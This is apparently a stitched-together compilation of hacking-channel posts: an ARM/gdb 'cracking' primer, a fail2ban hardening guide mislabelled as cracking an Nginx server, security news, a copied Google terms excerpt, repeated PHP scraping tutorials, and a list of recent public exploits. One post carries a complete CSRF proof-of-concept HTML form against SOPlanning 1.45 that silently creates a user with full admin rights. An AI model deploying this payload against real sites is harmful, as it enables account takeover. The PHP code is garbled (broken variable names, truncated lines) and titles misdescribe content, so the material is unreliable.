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🦑 Assembly debugging skills and simple cracking by UndercOde
This post is suitable for students who are interested in assembly debugging or want to get started cracking.

🦑 The following uses arm linux (android) as an example.

1) elf introduction

2) For the next crack we are going to make, the most important information is to know that elf is mainly composed of headers, tables, and segments.

3) Some commonly used tools are objdumpand readelf. Of course, gdb is even more essential.

4) To see the distribution of each segment:

> readelf -S a.out

5) To (hexadecimal) output a segment (output here .rodata):

readelf -x .rodata a.out

6) To disassemble the code snippet ( .text
>objdump -d a.out > a.out.dum

🦑 Assembly instruction

1) Because the libraries to be cracked are generally stripped and do not see the source code information, they often deal with assembly instructions.

2) Different architectures have different instructions, such as x86, arm. But basically the same is the assembly principle, that is, registers, PC (program pointer), SP (stack pointer), constant / stack / memory read and write. Only by understanding these basic principles, and then looking at the instructions and understanding the architectural differences, can we be more comfortable.

3) Here I want to hack an arm library, so I know some arm instructions in advance, you can refer to arm infocenter .

🦑 gdb

1)objdumpInferring the source code directly from the parsed assembly code is a labor-intensive task. You have to force yourself to work like a machine, and imagine the states of various registers and pointers in your brain. (And often the assembly code is -Ooptimized)

2) Therefore, by gdb“debugging” the target file in the running state, the value of the register can be printed in real time, the calling sequence of the process can be tracked, and the code principle can be quickly clarified.

3)Because the instructions to be debugged are assembly instructions, they are slightly different from regular source-based debugging.

Here are a few commonly used gdb commands.

> Display disassembly code:

layout asm
Step into the assembly code:

si
Step-by-step assembly code:

ni

> Display register information:

info registers

> Print register value:

p /x $r0

> Print the memory value (assuming r0 holds the memory address)

x $r0

Written by UndercOde
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🦑How to Crack Nginux Server :
twitter.com/UndercOdeTC

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋

> A brief introduction to fail2ban

> Fail2ban can monitor the system log, match the error information in the log (using regular expressions), and perform corresponding masking actions (supporting multiple, generally calling iptables), is a very useful and powerful software.

> For example: the attacker keeps trying to exhaustively use SSH, SMTP, FTP passwords, etc. As long as the preset value is reached, fail2ban will call the firewall to block this IP, and can send an email to notify the system administrator.

🦑 Functions and features:

1) Support a large number of services: sshd, apache, qmail, etc.

2) Support multiple actions: iptables, tcp-wrapper, shorewall, mail notifications, etc.

3) Support wildcard characters in the logpath option

4) Gamin support is required (Gamin is used to monitor files and directories Whether to change)

5) If email notification is required, the system must ensure that email can be sent normally in advance

🦑 Fail2ban installation and configuration file introduction

> Installation
1) epel-release

2) yum -y install epel-release
# fail2ban

3) yum -y install fail2ban


🦑 File directory structure

/etc/fail2ban ## fail2ban

/etc/fail2ban/action.d ## iptables 、mail ...

/etc/fail2ban/filter.d

/etc/fail2ban/jail.conf ## fail2ban

/etc/fail2ban/fail2ban.conf ## fail2ban 、
sock

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🦑Crack Nginux Server By UndercOde:
PART 2

> fail2ban.conf configuration file

1) shell > grep -v ^# /etc/fail2ban/fail2ban.conf

[Definition]
loglevel = 3

logtarget = /var/log/fail2ban.log ## fail2ban ]

socket = /var/run/fail2ban/fail2ban.sock ## sock

pidfile = /var/run/fail2ban/fail2ban.pid ## pid

🦑 jail.conf protection configuration

shell > grep -v ^# /etc/fail2ban/jail.conf

[DEFAULT]

ignoreip = 127.0.0.1/8

bantime = 600

findtime = 600
maxretry = 3
backend = auto
usedns = warn
[ssh-iptables]
enabled = true
filter = sshd sshd.conf
action = iptables[name=SSH, port=ssh, protocol=tcp]
logpath = /var/log/secure
maxretry = 5

🦑 Configure to prevent the nginx server web directory from being scanned by hackers

1) Add the following to the end of the jail.conf file

2) shell > vim /etc/fail2ban/jail.conf
[nginx]
enabled = true
port = http,https
filter = nginx
action = iptables[name=nginx, port=http, protocol=tcp]
logpath = /www/lnmp/log/nginx/access.log
bantime = 3600
findtime = 60
maxretry = 5

🦑 Add the nginx.conf file in the etc / fail2ban / filter.d directory and append the following:

1) shell > vim /etc/fail2ban/filter.d/nginx.conf

[Definition]
2) failregex = <HOST> -.*- .*HTTP/1.* 404 .*$
ignoreregex

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🦑Crack Nginux 2020 Part 3 by UndercOde:
pits skipped by fail2ban


🦑 fail2ban fails to start

1) Check if the configuration file format is correct

> fail2ban-regex /www/lnmp/log/nginx/access.log /etc/fail2ban/filter.d/nginx.conf

2) Query the startup cause according to the startup information, and enter the pit (nginx log file path configuration error)

> fail2ban-client start

🦑 How to delete the disabled blacklist IP in fail2ban
fail2ban-configuration

1) fail2ban-client set // unbanip IP

2) fail2ban-client set nginx unbanip 8.8.8.8
iptaables delete corresponding rules

3) shell > iptables -nL --line-numbers

4) Chain INPUT (policy ACCEPT)
num target prot opt source destination

> f2b-nginx tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80

5) Chain FORWARD (policy ACCEPT)

>num target prot opt source destination

6) Chain OUTPUT (policy ACCEPT)
num target prot opt source destination

7) Chain f2b-nginx (1 references)

> num target prot opt source destination

> REJECT all -- 8.8.8.8 0.0.0.0/0 reject-with icmp-port-unreachable

> REJECT all -- 9.9.9.9 0.0.0.0/0 reject-with icmp-port-unreachable

> RETURN all -- 0.0.0.0/0 0.0.0.0/0

🦑 iptables
shell > iptables -D f2b-nginx 1

USE THOSE TUTORIALS FOR LEARN ONLY
Written by UndercOde
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🦑 IOTA cryptocurrency shuts down entire network after wallet vulnerability is exploited
Recently News from twitter.com/UnderCodeTC

> IOTA is not a cryptocurrency based on the mathematical concept of a directed acyclic graph, not a blockchain.It was born in 2017, the hottest of Bitcoin.

> Last week, the foundation managing IOTA shut down the entire cryptocurrency network after learning that hackers were using the official wallet application vulnerability to steal user funds .

>The attack occurred on February 12, and within 25 minutes of receiving the report, the IOTA Foundation shut down Coordinator, the last node used to approve the transaction, preventing hackers from stealing user funds, but in fact closed the entire network.

>The attacker is believed to have targeted 10 high-value users, using the vulnerability of the official wallet application Trinity to steal funds. According to unofficial sources, about $ 1.6 million worth of IOTA coins were stolen. The IOTA team released version 1.4 on Sunday, fixing an exploited vulnerability. The network is still offline and developers are finalizing remediation plans.

Written by UndercOde
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🦑 google.com Now new terms 20-feb-2020
t.me/UndercOdeTesting

>These terms help define the relationship between you and Google. Broadly speaking, we give you permission to use our services if you agree to follow these terms, which reflect how Google’s business works and how we earn money. When we speak of “Google,” “we,” “us,” and “our,” we mean Google LLC and its affiliates.

>We provide a broad range of services that are subject to these terms, including:

1) apps and sites (like Search and Maps)

2) platforms (like Google Play)
integrated services (like Maps embedded in other companies’ apps or sites)

3) devices (like Google Home)

4) Our services are designed to work together, making it easier for you to move from one activity to the next. For example, Maps can remind you to leave for an appointment that appears in your Google Calendar.

SEE MORE ON Google Webiste
> https://policies.google.com/terms/update?utm_source=hpp&utm_medium=pushdown&utm_campaign=tosso


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🦑 2020 EXPLOITE Cross-Site Request Forgery (Add User)
# Date: 2020-02-14
instagram.com/UndercOdeTestingCompany

0> The SoPlanning 1.45 application is vulnerable to CSRF that allows for arbitrary
>user creation and for changing passwords (Specifically the admin password)

🦑 POC For aribtrary user creation:
# CSRF POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.22.6.208/soplanning/www/process/xajax_server.php" method="POST">
<input type="hidden" name="xajax" value="submitFormUser" />
<input type="hidden" name="xajaxr" value="1581700271752" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="Testing" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="1" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="Testing" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="test&#64;test&#46;com" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="Test" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="test" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="&#35;FFFFFF" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="<xjxobj><e><k>0<&#47;k><v>users&#95;manage&#95;all<&#47;v><&#47;e><e><k>1<&#47;k><v>projects&#95;manage&#95;all<&#47;v><&#47;e><e><k>2<&#47;k><v>projectgroups&#95;manage&#95;all<&#47;v><&#47;e><e><k>3<&#47;k><v>tasks&#95;modify&#95;all<&#47;v><&#47;e><e><k>4<&#47;k><v>tasks&#95;view&#95;all&#95;projects<&#47;v><&#47;e><e><k>5<&#47;k><v>tasks&#95;view&#95;all&#95;users<&#47;v><&#47;e><e><k>6<&#47;k><v>lieux&#95;all<&#47;v><&#47;e><e><k>7<&#47;k><v>ressources&#95;all<&#47;v><&#47;e><e><k>8<&#47;k><v>audit&#95;restore<&#47;v><&#47;e><e><k>9<&#47;k><v>parameters&#95;all<&#47;v><&#47;e><e><k>10<&#47;k><v>stats&#95;users<&#47;v><&#47;e><e><k>11<&#47;k><v>stats&#95;projects<&#47;v><&#47;e><&#47;xjxobj>" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
<input type="hidden" name="xajaxargs&#91;&#93;" value="<xjxobj><&#47;xjxobj>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

🦑 Use This Exploite for learn Only
Written by UndercOde
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🦑Recenly 2020 Exploite CVE 2020 :
instagram.com/UndercOdeTestingCompany

2020-02-19 DBPower C300 HD Camera - Remote Configuration Disclosure WebApps

Hardware Todor Donev
2020-02-19 Virtual Freer 1.58 -

Remote Command Execution WebApps PHP SajjadBnd
2020-02-17 Anviz CrossChex -

Buffer Overflow (Metasploit) Remote Windows

Metasploit
2020-02-17 LabVantage 8.3 -

Information Disclosure WebApps Java Joel Aviad Ossi
2020-02-17 SOPlanning 1.45 - 'users' SQL Injection WebApps PHP

J3rryBl4nks
2020-02-17 Cuckoo Clock v5.0 - Buffer Overflow Local Windows
boku
2020-02-17 SOPlanning 1.45 - Cross-Site Request Forgery (Add User)

WebApps PHP J3rryBl4nks
2020-02-17 TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service

Path Local Windows boku
2020-02-17 WordPress Theme Fruitful 3.8 - Persistent Cross-Site

Scripting WebApps PHP Ultra Security Team
2020-02-17 Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)

WebApps PHP J3rryBl4nks
2020-02-17 DHCP Turbo 4.61298 - 'DHCP Turbo 4' Unquoted Service

Path Local Windows boku
2020-02-17 MSI Packages Symbolic Links Processing - Windows 10
Privilege Escalation Local Windows nu11secur1ty

Written by UndercOde
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🦑How grab and analyse a file ?
2 parts :
twitter.com/UndercOdeTC

1) Grab and analyze a fileCrawl and analyze a file
crawl and analyze a file is very simple. This tutorial will guide you step by step to achieve it with an example. let's start!

2) First, I have to decide the URL address we will crawl. Can be set in a script or passed in $ QUERY_STRING. For simplicity, let's set the variables directly in the script.

<?
$ Url = 'http://www.php.net' ;
?>

3) The second step, we crawl the specified file, and by file () function it exists in an array.

<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
?>

4) OK, now there are files in the array. However, the text we want to analyze may not be all on one line. To understand this file, we can simply convert the array $ lines_array into a string. We can implement it using the implode (x, y) function. If you later want to use explode (set an array of string variables), it may be better to set x to "|" or "!" Or other similar delimiters. But for our purposes, it is best to set x to a space. y is another required parameter because it is the array you want to process with implode ().

<?
$ url = 'http:;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
?>

5) Now the fetching work is done, it is time to analyze it. For the purpose of this example, we want to get everything between <head> to </ head>. In order to parse out the string, we also need something called a regular expression.

<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
eregi ( "<head> (. *) </ head> " , $ lines_string ,$ head );
?>

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🦑How grab and analyse a file ?
part 2 :

1) 　Let's take a look at the code. As you can see, the eregi () function is executed in the following format:

eregi ("<head> (. *) </ Head>", $ lines_string, $ head);

2) 　　"(. *)" Means everything and can be explained For, "Analyze all things between <head> and </ head>". $ lines_string is the string we are analyzing, and $ head is the array where the analysis results are stored.

3) Finally, we can lose data. Because there is only one instance between <head> and </ head>, we can safely assume that there is only one element in the array, and that is what we want. Let's print it out.

<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
eregi ( "<head> (. *) </ head> " ,);
echo $ head [ 0 ];
?>

4) That's all there is to it.
<? php
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
preg_match_all ( "/ <body ([^>] . +?)> (. *) <\ / body> / is " , $ lines_string , $ m );
echo " <xmp> " ;
echo $ m [ 2 ] [ 0 ];
?>

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🦑 Crawl and analysis a simple file :)
instagram.com/UndercOdeTestingCompany

It is very simple to scrape and analyze a file. This tutorial will guide you step by step to achieve it with an example. let's start!

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋

1) First, I have to decide the URL address we will crawl. Can be set in a script or passed in $ QUERY_STRING. For simplicity, let's set the variables directly in the script.

<?
$ url = 'http://www.php.net'
;?> In the

2) second step, we grab the specified file and store it in an array using the file () function.

<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
?>

3) OK, now there are files in the array. However, the text we want to analyze may not be all on one line. To understand this file, we can simply convert the array $ lines_array into a string. We can implement it using the implode (x, y) function. If you later want to use explode (set an array of string variables), it may be better to set x to "|" or "!" Or other similar delimiters. But for our purposes, it is best to set x to a space. y is another required parameter because it is the array you want to process with implode ().

<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
$ lines_string = implode ('', $ lines_array);
?>

Written by UndercOde
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▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Crawl and analysis a simple file Part 2 :
instagram.com/UndercOdeTestingCompany


🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋

1) Now that the crawling is done, it's time to analyze it. For the purpose of this example, we want to get everything between <head> to </ head>. In order to parse out the string, we also need something called a regular expression.

<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
$ lines_string = implode ('', $ lines_array);
eregi ("<head> (. *) </ head> ", $ lines_string, $ head);
?>

2) Let's take a look at the code. As you can see, the eregi () function is executed in the following format:

eregi ("<head> (. *) </ Head>", $ lines_string, $ head);

　　"(. *)" Means everything and can be explained For, "Analyze all things between <head> and </ head>". $ lines_string is the string we are analyzing, and $ head is the array where the analysis results are stored.

3) Finally, we can lose data. Because there is only one instance between <head> and </ head>, we can safely assume that there is only one element in the array, and that is what we want. Let's print it out.

<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);

eregi ("<head> (. *) </ head>", $ lines_string, $ head);
echo $ head [0];
?>

　　This is all the code.

Written by UndercOde
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▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Seven elements of being a successful programmer
pintererst.com/UndercOdeOfficial

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋

1) First, low commitment, high realization: If your commitment is indeed what the manager wants to hear, he will like you. However, he will not like you any more if the software is not delivered in a timely manner as promised.

2) Second, don't put errors in software: Good programmers don't put errors in their code.

3) Third, full of enthusiasm and hard work: Excellent programmers are full of enthusiasm and hard work, they are highly organized, and pay attention to methods, they have the ability to structure things. Moreover, the enthusiasm of most programmers for their hard work is incredible.

4) Fourth, know the unknown factors.

5) Fifth, get along well with team members: Software development is the result of team members' coordinated efforts.

6) Six, good beginning, good end, towards the ultimate goal: always towards the ultimate goal is a very important ability. When interviewing someone for work,
one thing you're looking for is the work he actually participated in on the product the group has already delivered.

7) Seven, learning the emerging technology: Excellent developers are people who are eager to learn.

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▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Now :Microsoft releases security update for Windows 7 due to severe IE vulnerability😁
instagram.com/UndercOdeTestingCompany

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋

1) Microsoft releases security update for Windows 7 due to severe IE vulnerability

2) Both Windows 7 and IE browsers have stopped supporting last month, but due to the latest serious IE vulnerability, Microsoft decided to provide security patches for Windows 7 system again. After discovering a JavaScript engine vulnerability that was widely used by hackers, Microsoft decided to provide security updates for all older browsers before IE

3) This remote code execution vulnerability exists in the memory of IE processing script engine objects. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user.

4) If the current user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take control of an affected system. An attacker could then install the program. View, change or delete data; or create a new account with full user rights.

5) In a cyber attack scenario, an attacker could create a specially crafted website that specifically exploits the IE vulnerability, and then convince users to view the website. An attacker could access an application hosted on the IE rendering engine or an ActiveX control labeled "Initial Security" embedded in Microsoft Office office documents. Attackers may also use infected websites to accept or host user-provided content or advertisements. These websites may contain specially crafted content that could exploit this vulnerability.

6) The exploit can be triggered by any application that can host HTML, such as documents or PDFs, and has a "critical" rating on Windows 7, 8.1, and 10, and is currently widely used by hackers. Microsoft will release patches for all of these operating systems as well as Windows

Written by UndercOde
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